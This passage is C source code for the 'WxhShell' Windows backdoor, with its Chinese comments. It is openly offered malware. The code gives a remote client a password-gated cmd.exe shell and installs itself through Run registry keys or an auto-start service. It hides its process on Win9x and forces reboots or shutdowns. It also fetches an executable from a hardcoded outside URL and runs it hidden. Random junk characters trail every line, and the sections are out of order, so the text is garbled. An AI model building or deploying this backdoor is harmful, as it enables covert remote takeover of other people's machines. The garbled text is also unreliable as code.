    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4'',6KJ@  
    if(Boot(SHUTDOWN)) >OV<_(S4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nX|Q~x]  
    else { H@GE)I>^@  
    closesocket(wsh); o\Uu?.-<  
    ExitThread(0); 1BJ<m5/1%  
    } #%:c0=  
    break; 2-~|Z=eGW  
    } F/>*If s  
  // 获取shell nZfs=@w:y  
  case 's': { vA=Z=8  
    CmdShell(wsh); yGxv?%%2  
    closesocket(wsh); (&jW}1D  
    ExitThread(0); yub{8f;v  
    break; v5_7r%Hiw  
  } 69-:]7.g  
  // 退出 #)o7"PW:  
  case 'x': { CK0l9#g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #02Kdo&Vy  
    CloseIt(wsh); Zb(E:~h\  
    break; AEY$@!8  
    } [$pmPr2  
  // 离开 j(iuz^I  
  case 'q': { <:&de8bT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >{C\H.N  
    closesocket(wsh); t6+YXjXK  
    WSACleanup(); B:< ]Hl$  
    exit(1); y` yZ R _  
    break; kbYeV_OwM  
        } 44\cI]!{  
  } /`[!_4i  
  } LvcuZZ`1a  
P ZxFZvE  
  // 提示信息 F30 ]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  W^Y#pn  
} mk!Dozb/  
  } lT'9u,6   
T dk ,&8  
  return; 5{K}?*3hJ  
} *FK`&(B+}  
](#&.q%5!  
// shell模块句柄 ib$nc2BPb  
int CmdShell(SOCKET sock) DVlJ*A  
{ &fwS{n;U  
STARTUPINFO si; glE^t6)  
ZeroMemory(&si,sizeof(si)); er2cQS7R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x&Cp> +i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \}5p0.=  
PROCESS_INFORMATION ProcessInfo; d,0 }VaY=D  
char cmdline[]="cmd"; PE"v*9k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ya#h'+}  
  return 0; paW@\1Q  
} WA6!+Gy  
#]E(N~  
// 自身启动模式 ujr(K=E  
int StartFromService(void) GaekFbW)  
{ y<- _(^  
typedef struct JBC$Ku  
{ =WG=C1Z  
  DWORD ExitStatus; EHn"n"Y  
  DWORD PebBaseAddress; /6K Il  
  DWORD AffinityMask; krB'9r<wa`  
  DWORD BasePriority; ~6aCfbu%V  
  ULONG UniqueProcessId; c+kU o$  
  ULONG InheritedFromUniqueProcessId; LOvHkk@+  
}   PROCESS_BASIC_INFORMATION; "Pz}@=  
+*}{`L- :  
PROCNTQSIP NtQueryInformationProcess; ; A,#;%j  
/KCPpERk{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Nc)J18  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  En6H%^d2  
p`F9Amb  
  HANDLE             hProcess; *|% ^0#$c  
  PROCESS_BASIC_INFORMATION pbi; V0*3;n  
c~=B0K-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =JS;;PzX[  
  if(NULL == hInst ) return 0; y "w|g~x]c  
pZ(Fx&fy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +nL+ N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D)@XoM(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9H0H u]zM  
$HJTj29/  
  if (!NtQueryInformationProcess) return 0; {Qv>q$Q  
;eL9{eF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FT.,%2  
  if(!hProcess) return 0; |Ic`,>XM  
| ?yo 3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &a,OfSz  
5 2_#  
  CloseHandle(hProcess); F {+`uG  
r?/A?DMe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TUIk$U?/I  
if(hProcess==NULL) return 0; 1f'Hif*r_X  
Wg`AZ=t  
HMODULE hMod; I$t3qd{H&  
char procName[255]; _>m-AI4^  
unsigned long cbNeeded; 44ed79ly0)  
q.#[TI ^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ccFn.($p?,  
.w?(NZ2~  
  CloseHandle(hProcess); @}-r&/#  
->^~KVh&  
if(strstr(procName,"services")) return 1; // 以服务启动 N|g;W  
)~J>X{hy  
  return 0; // 注册表启动 !7bw5H  
} ~EzaC?fQ  
G oM ip8'u  
// 主模块 !y:%0{l  
int StartWxhshell(LPSTR lpCmdLine) <A5]]{9 +  
{ |RkcDrB~  
  SOCKET wsl; Q/ms]Du  
BOOL val=TRUE; N6OMY P1  
  int port=0; /93l74.w  
  struct sockaddr_in door; /u%h8!"R  
&MZ$j46  
  if(wscfg.ws_autoins) Install(); nlYR-.  
+!IQj0&'Y3  
port=atoi(lpCmdLine); M:KbD|  
g7V8D  
if(port<=0) port=wscfg.ws_port; l_'[27  
N==ZtKj F  
  WSADATA data; /cr}N%HZB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ys+OB*8AE  
}R[#?ty;]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $?G"GQ!.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g>rp@M  
  door.sin_family = AF_INET; l%ayI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $rF=_D6  
  door.sin_port = htons(port); eN? Y7  
LVJI_O{fH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7hW+T7u?  
closesocket(wsl); ._w8J"E5  
return 1; :<Y}l-x  
} [D-Q'"'A  
w%AcG~`j!B  
  if(listen(wsl,2) == INVALID_SOCKET) { KlV:L 4a~  
closesocket(wsl); C?ib_K*  
return 1; 1"7Sy3  
} Migd(uw'  
  Wxhshell(wsl); `p b5*h6r!  
  WSACleanup(); RO;Bl:x4  
p(;U@3G  
return 0; do*}syQ`O  
I:bD~F b3  
} vu!d)Fy  
n79QJl/  
// 以NT服务方式启动 ;8WZx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T{qTj6I  
{ H1GRMDNXOA  
DWORD   status = 0; Jj~EiA  
  DWORD   specificError = 0xfffffff;  T9)nQ[  
&cWjE x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O%g $9-?F0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1g# #sSa6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b`yZ|j'ikd  
  serviceStatus.dwWin32ExitCode     = 0; J:uW`R  
  serviceStatus.dwServiceSpecificExitCode = 0; `RU[8@ 2%  
  serviceStatus.dwCheckPoint       = 0; T_b^ Tc`  
  serviceStatus.dwWaitHint       = 0; WwH+E]^e+  
SG}V[Glk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gb[`R}^dq  
  if (hServiceStatusHandle==0) return; ;6@r-r  
2?m.45`  
status = GetLastError(); :j|IP)-f  
  if (status!=NO_ERROR) gqXS~K9t  
{ 6S6f\gAM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <FMq>d$\  
    serviceStatus.dwCheckPoint       = 0; [b{CkX06  
    serviceStatus.dwWaitHint       = 0; aQ^umrj@?9  
    serviceStatus.dwWin32ExitCode     = status; )"f N!9,F  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4'$g(+z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?D,=37  
    return; J PyOG _h  
  } 1O].v&{  
kGpa\c g1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -jgysBw+Xb  
  serviceStatus.dwCheckPoint       = 0; #&v/icz$  
  serviceStatus.dwWaitHint       = 0; )X4K2~k*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^7;JC7qmN  
} P%)gO  
5@*'2rO&!  
// 处理NT服务事件,比如:启动、停止 Hf'G8vW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D7Y)?Z5A;  
{ ?USQlnr:R/  
switch(fdwControl) G} eUL|S  
{ 8WE{5#oi  
case SERVICE_CONTROL_STOP: 0 a]/%y3V  
  serviceStatus.dwWin32ExitCode = 0; ??TMSH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QL6C,#6  
  serviceStatus.dwCheckPoint   = 0; Kp+CH7I*  
  serviceStatus.dwWaitHint     = 0; Rqwzh@}  
  { ,q(&)L$S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b jAnaya  
  } ThPE 0V  
  return; >!_Xgw  
case SERVICE_CONTROL_PAUSE: < >UPD02  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  h:lt<y  
  break; | mu+9   
case SERVICE_CONTROL_CONTINUE: gP+fN$5'd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eh,~^x5  
  break; iU6Gp-<M ,  
case SERVICE_CONTROL_INTERROGATE: SIBoCs5  
  break; eEhr140  
}; \!]Ua.e<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BBcV9CGU  
} LZMYr  
hhoEb(BA  
// 标准应用程序主函数 f+rz|(6vs{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GGhM;%H_99  
{ .]aF 1}AI  
Hw#d_P:  
// 获取操作系统版本 Sa19q.~%  
OsIsNt=GetOsVer(); olLfko4$*V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qY\f'K}Q*  
b64 @s2]  
  // 从命令行安装 $gBd <N9|c  
  if(strpbrk(lpCmdLine,"iI")) Install(); d #jK=:eK  
Z|RY2P>E  
  // 下载执行文件 Xf)|Pu  
if(wscfg.ws_downexe) { 099sN"kf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @( n^T  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ltjbxw"Qd  
} `jS T  
?\8?%Qk  
if(!OsIsNt) { j~j\\Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 hHqh{:q{v  
HideProc(); Kx_h1{  
StartWxhshell(lpCmdLine); `9k0Gd  
} 0Z{j>=$  
else ^5r9 5  
  if(StartFromService()) sg E-`#  
  // 以服务方式启动 s+:=I e  
  StartServiceCtrlDispatcher(DispatchTable); fO#vF.k%  
else LJoGpr 8  
  // 普通方式启动 e8'wG{3A  
  StartWxhshell(lpCmdLine); ~ ihI_q"  
,vW:}&U  
return 0; pLv$\ MiZ  
} ;-UmY}MU  
9n}p;3{f  
I(=V}s2  
QRLt9L  
=========================================== OT'[:|x ;  
C"IKt  
|lv|!]qAma  
1~ $);US  
d#2$!z#  
')GSAY7  
" 'l,V*5L  
u^029sH6j  
#include <stdio.h> BB|?1"neg  
#include <string.h> # p[',$cC  
#include <windows.h> ah~Y eJp  
#include <winsock2.h> uYrfm:4S  
#include <winsvc.h> MQin"\  
#include <urlmon.h>  @3kKJ  
{}:ToIp  
#pragma comment (lib, "Ws2_32.lib") $['Bv  
#pragma comment (lib, "urlmon.lib")  <T[E=#  
F[ewn/]n  
#define MAX_USER   100 // 最大客户端连接数 NWxUn.Gy9  
#define BUF_SOCK   200 // sock buffer FZ8b7nJ)4m  
#define KEY_BUFF   255 // 输入 buffer Y2'cs~~$Ce  
]~Y<o  
#define REBOOT     0   // 重启 T6ENtp  
#define SHUTDOWN   1   // 关机 )?wJF<[_#  
;2Q~0a|  
#define DEF_PORT   5000 // 监听端口 vX]Gf4,  
ytNO*XoR  
#define REG_LEN     16   // 注册表键长度 &>H!}"Yk  
#define SVC_LEN     80   // NT服务名长度 !Ra*)b "  
=~p>`nV  
// 从dll定义API }`+B=h-dW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ``E/m<r:$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }<'5 z qS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F5o+kz$;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TwgrRtj'  
:_QCfH  
// wxhshell配置信息 }%D^8>S  
struct WSCFG { LY+|[qka  
  int ws_port;         // 监听端口 |*`Z*6n  
  char ws_passstr[REG_LEN]; // 口令 VE8;sGaJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0@AAulRl  
  char ws_regname[REG_LEN]; // 注册表键名 `=7j$#6U  
  char ws_svcname[REG_LEN]; // 服务名 ;j2vHU#q-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Qyy.IPTP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kY'T{Sm1^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Li Kxq=K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }- Wa`t7U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "*})3['n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  rb{P :MX  
|hr]>P1  
}; (e"iO`H  
K(q-?n`<  
// default Wxhshell configuration *YlV-C<}W"  
struct WSCFG wscfg={DEF_PORT, >$2V%};  
    "xuhuanlingzhe", "le>_Ze_>|  
    1, p0pWzwTG3  
    "Wxhshell", tY <Z'xA?  
    "Wxhshell", VcoOeAKL  
            "WxhShell Service", *_?dVhxf  
    "Wrsky Windows CmdShell Service", 0:b2(^]bg  
    "Please Input Your Password: ", RVeEkv[qp  
  1, Gdg"gi!4  
  "http://www.wrsky.com/wxhshell.exe", Ge<nxl<Bd  
  "Wxhshell.exe" +E1h#cc)  
    }; : "1XPr  
+o9":dl  
// 消息定义模块 ~,*b }O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @'GGm#<   
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]7e =fM9V;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hqRw^2F  
char *msg_ws_ext="\n\rExit."; 6"}?.E$  
char *msg_ws_end="\n\rQuit."; }3?n~s\)6f  
char *msg_ws_boot="\n\rReboot..."; @lvyDu6e  
char *msg_ws_poff="\n\rShutdown..."; "Y\_TtY  
char *msg_ws_down="\n\rSave to "; #UbF9})q  
)&!&AlLn  
char *msg_ws_err="\n\rErr!"; 3$X'Y]5a  
char *msg_ws_ok="\n\rOK!"; '} $Dgp6e  
N$[{8yil^w  
char ExeFile[MAX_PATH]; \<g*8?yFs  
int nUser = 0; p}cw{  
HANDLE handles[MAX_USER]; y '!m4-  
int OsIsNt; k-}b{  
8Ac:_Zg  
SERVICE_STATUS       serviceStatus; sM9+dh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^`G}gWBx}w  
l]5w$dded~  
// 函数声明 ,N0#!<}4  
int Install(void); /i77  
int Uninstall(void); #f+$Ddg*  
int DownloadFile(char *sURL, SOCKET wsh);  =kuMWaD  
int Boot(int flag); QqU!Najf  
void HideProc(void); [KxF'mz9  
int GetOsVer(void); C 9t4#"  
int Wxhshell(SOCKET wsl); S9#)A->  
void TalkWithClient(void *cs); SCz318n  
int CmdShell(SOCKET sock); %Z1N;g0  
int StartFromService(void);  s~Te  
int StartWxhshell(LPSTR lpCmdLine); /bVoErf  
XcjRO#s\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0L/n?bf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9 yfJVg  
q|),`.eh\  
// 数据结构和表定义 Q@HopiC  
SERVICE_TABLE_ENTRY DispatchTable[] = eow'K 821A  
{ )vSRHE  
{wscfg.ws_svcname, NTServiceMain}, LEtG|3Dx  
{NULL, NULL} k`N^Vdr  
}; 5s]. @C8  
9th,VnD0  
// 自我安装 r >nG@A  
int Install(void) gN"7be&J  
{ ~Rr~1I&mR,  
  char svExeFile[MAX_PATH]; J Px~VnE%%  
  HKEY key; yYfs y?3  
  strcpy(svExeFile,ExeFile); hyFyP\u]  
8Q'0h m?  
// 如果是win9x系统,修改注册表设为自启动 {yExQbN  
if(!OsIsNt) { %QP0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2=^m9%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .qZI$ l .  
  RegCloseKey(key); f=9|b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qXwPDq/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &mx)~J^m  
  RegCloseKey(key); Dg?:/=,=9r  
  return 0; Bf8jPa/  
    }  v%iflCK  
  } \:UIc*S  
} @qYp>|AF  
else { Uw7h=UQh  
~ (jKz}'~U  
// 如果是NT以上系统,安装为系统服务 MpR2]k#n<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HKUn`ng  
if (schSCManager!=0) &:`U&06q  
{ (P:<t6;+  
  SC_HANDLE schService = CreateService #NryLE!/  
  ( bXNk%W[n  
  schSCManager, {Sj9%2'M)  
  wscfg.ws_svcname, (:> ,u*x%  
  wscfg.ws_svcdisp, Bn &Ws  
  SERVICE_ALL_ACCESS, 1bn^.768l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 736Jq^T  
  SERVICE_AUTO_START, XSyHk"g`  
  SERVICE_ERROR_NORMAL, m+T;O/lG0{  
  svExeFile, e-EUf  
  NULL, O[ef#R!  
  NULL, Fkd+pS\9g~  
  NULL, fNW"+ <W  
  NULL,  ^0 \  
  NULL Y<%@s}zc  
  );  UWo]s.  
  if (schService!=0) '?p<lu^^B  
  { XLrwxj0  
  CloseServiceHandle(schService); }*S `qW;B  
  CloseServiceHandle(schSCManager); $arK(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YF>m$?;  
  strcat(svExeFile,wscfg.ws_svcname); %#xaA'? [  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2$ze= /l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wG-HF'0L  
  RegCloseKey(key); <"my^  
  return 0; R[hzMU}KB  
    } {C N~S*m  
  } 4?q <e*W  
  CloseServiceHandle(schSCManager); 8b;1F Q'  
} f@|A[>"V  
} Oagsoik  
c2'Lfgx4  
return 1; &keR~~/  
} eEv@}1~  
M:[ %[+6  
// 自我卸载 I7n"&{s"*  
int Uninstall(void) (<xfCH F5  
{ EWkLXU6t  
  HKEY key; @a0DT=>dT  
Ni-xx9)=  
if(!OsIsNt) { 9\BT0kx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '9 [vDG~  
  RegDeleteValue(key,wscfg.ws_regname); %1xb,g KO  
  RegCloseKey(key); zv\kPfGDK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AW!?"xdZ  
  RegDeleteValue(key,wscfg.ws_regname); |8l<$J  
  RegCloseKey(key); @v)p<r^M">  
  return 0; 8"8t-E#?  
  } oldA#sA$  
} Ki$MpA3j   
} &-Gqdnc  
else { )I^7)x  
SBfT20z[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yDegcAn?  
if (schSCManager!=0) Kzm+GW3o[  
{ -~v2BN/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R\G0'?h >  
  if (schService!=0) bU2Z[sn.  
  { ] [+#;avU  
  if(DeleteService(schService)!=0) { 5A3xVN=  
  CloseServiceHandle(schService); 26I_YL,S  
  CloseServiceHandle(schSCManager); W_\5nF  
  return 0; i%#+\F.&  
  } [ 0KlC1=  
  CloseServiceHandle(schService); xy/`ZS2WPq  
  } {E9+WFz5  
  CloseServiceHandle(schSCManager); mpU$ +  
} ,*&:2o_r  
} 8"2=U6*C  
Mb|a+,:>3  
return 1; :toh0oB[  
} K}buH\yco  
T?tgd J  
// 从指定url下载文件 yW1)vD7  
int DownloadFile(char *sURL, SOCKET wsh) 7XTkX"zKj  
{ 8hOk{xs8  
  HRESULT hr; t(NI-UXBp  
char seps[]= "/"; irFMmIb  
char *token; *rs5]U<  
char *file; c1k/UcEcg~  
char myURL[MAX_PATH]; M3c$=>  
char myFILE[MAX_PATH]; e.7EU  
@s ?  
strcpy(myURL,sURL); l1OE!W W  
  token=strtok(myURL,seps); P2BWuh F  
  while(token!=NULL) +./H6!  
  { }@'$b<!B  
    file=token; ]6(N@RC  
  token=strtok(NULL,seps); .f%fHj  
  } K1"*.\?F  
V3Q+s8OIF  
GetCurrentDirectory(MAX_PATH,myFILE); VM GS[qrG  
strcat(myFILE, "\\"); - D  
strcat(myFILE, file); !;Yg/'vD-  
  send(wsh,myFILE,strlen(myFILE),0); cl=EA6P\X  
send(wsh,"...",3,0); cl[BF'.H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5\5/  
  if(hr==S_OK) Y)0*b5?1r  
return 0; DS.RURzd{r  
else AS'R?aX|C  
return 1; /Y W>*?"N  
p*4':TFuD;  
} :dl]h&C^  
I7|Pi[e  
// 系统电源模块 ~?4PBq  
int Boot(int flag) ^84G%)`&  
{ rb5~XnJk  
  HANDLE hToken; \o}xF@sM5  
  TOKEN_PRIVILEGES tkp; z;{iM/Xe  
%p^wZtm  
  if(OsIsNt) { 8=B|C'>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M -cTRd-i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ww\CQ6/h  
    tkp.PrivilegeCount = 1; l&OKBUG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2&:f&"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Pk{_(ybaY  
if(flag==REBOOT) { =9y[1t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z1PBMSG  
  return 0; ]/[FR5>  
} 8Wrh]egu1  
else { !;&p"E|b#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R]}}$R`j  
  return 0; q>_/u"  
} .zA^)qgL  
  } twL3\ }N/B  
  else { =x%dNf$e{W  
if(flag==REBOOT) { 2h|MXI\g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b#uL?f  
  return 0; #C~+JL  
} rq8K_zp  
else { <Swt);  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q i,j+xBp  
  return 0; [w>$QR  
} 1-%fo~!l  
} a,@]8r-"  
~("5y G  
return 1; YIn',]p:  
} ;(f) &Yom  
.*@;@06?  
// win9x进程隐藏模块 0Is,*Srr  
void HideProc(void) a]JYDq`,3  
{ BWeA@v  
[pC$+NX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V]|^&A _c  
  if ( hKernel != NULL ) Q8:Has  
  { `YFtL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4x {0iav  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9_q#W'/X  
    FreeLibrary(hKernel); (Mo*^pVr  
  } K SbKEA  
^1S!F-H4\  
return; PlU*X8  
} IpINH3odT  
%q/62f7?  
// 获取操作系统版本 V/%>4GYnC  
int GetOsVer(void) *rM^;4Zt  
{ ,0~^>K  
  OSVERSIONINFO winfo; G"-?&)M#a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (7mAt3n k  
  GetVersionEx(&winfo); T%.8 '9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %824Cqdc  
  return 1; 6*PYFf`  
  else B8nf,dj?X  
  return 0; chcbd y>C  
} 14Xqn8uOW  
dT`D:)*:  
// 客户端句柄模块 6CV* Z\b  
int Wxhshell(SOCKET wsl) AYt%`Y.!  
{ 3C?f(J}  
  SOCKET wsh; X\]L=>]C  
  struct sockaddr_in client; `n#H5Oyn  
  DWORD myID; Pj#<K%Bz  
NTdixfR  
  while(nUser<MAX_USER) (_niMQtF}  
{ \a5U8shc  
  int nSize=sizeof(client); ]9YJ,d@J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $yn];0$J  
  if(wsh==INVALID_SOCKET) return 1; )<oJnxe]  
3)F |*F3R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =!kk|_0%E  
if(handles[nUser]==0) M`. tf_x  
  closesocket(wsh); !S^AgZ~  
else T m_bz&Q  
  nUser++; yWg@v +  
  } T_s _p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y#!UPhg<  
4H,`]B8(D  
  return 0; n(b(yXYm]  
} 4~k\j  
6DM$g=/ '  
// 关闭 socket d:ARf  
void CloseIt(SOCKET wsh) O- ew%@_  
{ H2&@shOOQJ  
closesocket(wsh); r;B8i!gD  
nUser--; \.C +ue  
ExitThread(0); TlXI|3Ip  
} B:dB,3,`(  
D2<fw#  
// 客户端请求句柄 ^"VJd[Hn  
void TalkWithClient(void *cs) W}3.E "K  
{ "8c@sHk(w  
"w^!/  
  SOCKET wsh=(SOCKET)cs; #D<C )Q  
  char pwd[SVC_LEN]; bP8Sj16q  
  char cmd[KEY_BUFF]; {J{+FFsr(  
char chr[1]; cWEE%  
int i,j; a;rdQ>  
>7wOoK|1'  
  while (nUser < MAX_USER) { |2?'9<  
QP@%(]fG  
if(wscfg.ws_passstr) { %dRo^E1p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5\N(PL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~;QvWS  
  //ZeroMemory(pwd,KEY_BUFF); z8jk[5z  
      i=0; `{eyvW[Ks  
  while(i<SVC_LEN) { SHvq.lYJ  
)hd@S9Z.Y  
  // 设置超时 VCu{&Sh*  
  fd_set FdRead; u6M.'  
  struct timeval TimeOut; g$7{-OpB  
  FD_ZERO(&FdRead);  !;EjB*&  
  FD_SET(wsh,&FdRead); qHsUP;7  
  TimeOut.tv_sec=8; k >F'ypm  
  TimeOut.tv_usec=0; bBu,#Mc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); us ;YV<)d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y)F;zW<+  
_wC3kAO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?Eg(Gu.J  
  pwd=chr[0]; Q~814P8]  
  if(chr[0]==0xd || chr[0]==0xa) { FqkDKTS\&  
  pwd=0; NS9B[*"Jl  
  break; wHsYF`  
  } 3Vsc 9B"w  
  i++; #hW;Ju73  
    } sSOOXdnGG  
8yRJD[/S  
  // 如果是非法用户,关闭 socket r>dwDBE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _9faBrzd  
} fXXr+Mor  
* "R|4"uy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2Gz}T _e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); * 1T&  
- |kA)M[  
while(1) { XOxr?NPQ^  
vbkI^+=,YY  
  ZeroMemory(cmd,KEY_BUFF); z3`-plE  
4FEk5D  
      // 自动支持客户端 telnet标准   ?f#y1m  
  j=0; n?A6u\sQ  
  while(j<KEY_BUFF) { +~'865{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ICuF %  
  cmd[j]=chr[0]; P1zKsY,l$<  
  if(chr[0]==0xa || chr[0]==0xd) { rW0kA1=E  
  cmd[j]=0; 3j,Q`+l/6d  
  break; A54N\x,  
  } Dakoqke  
  j++; V7GRA#|  
    } xgABpikC^  
rE i Ki  
  // 下载文件 ~oI1 zNz/  
  if(strstr(cmd,"http://")) { ~;Ov-^tp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3Th'paMG  
  if(DownloadFile(cmd,wsh)) 09dK0H3(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m/v9!'cMI  
  else k xP-,MD  
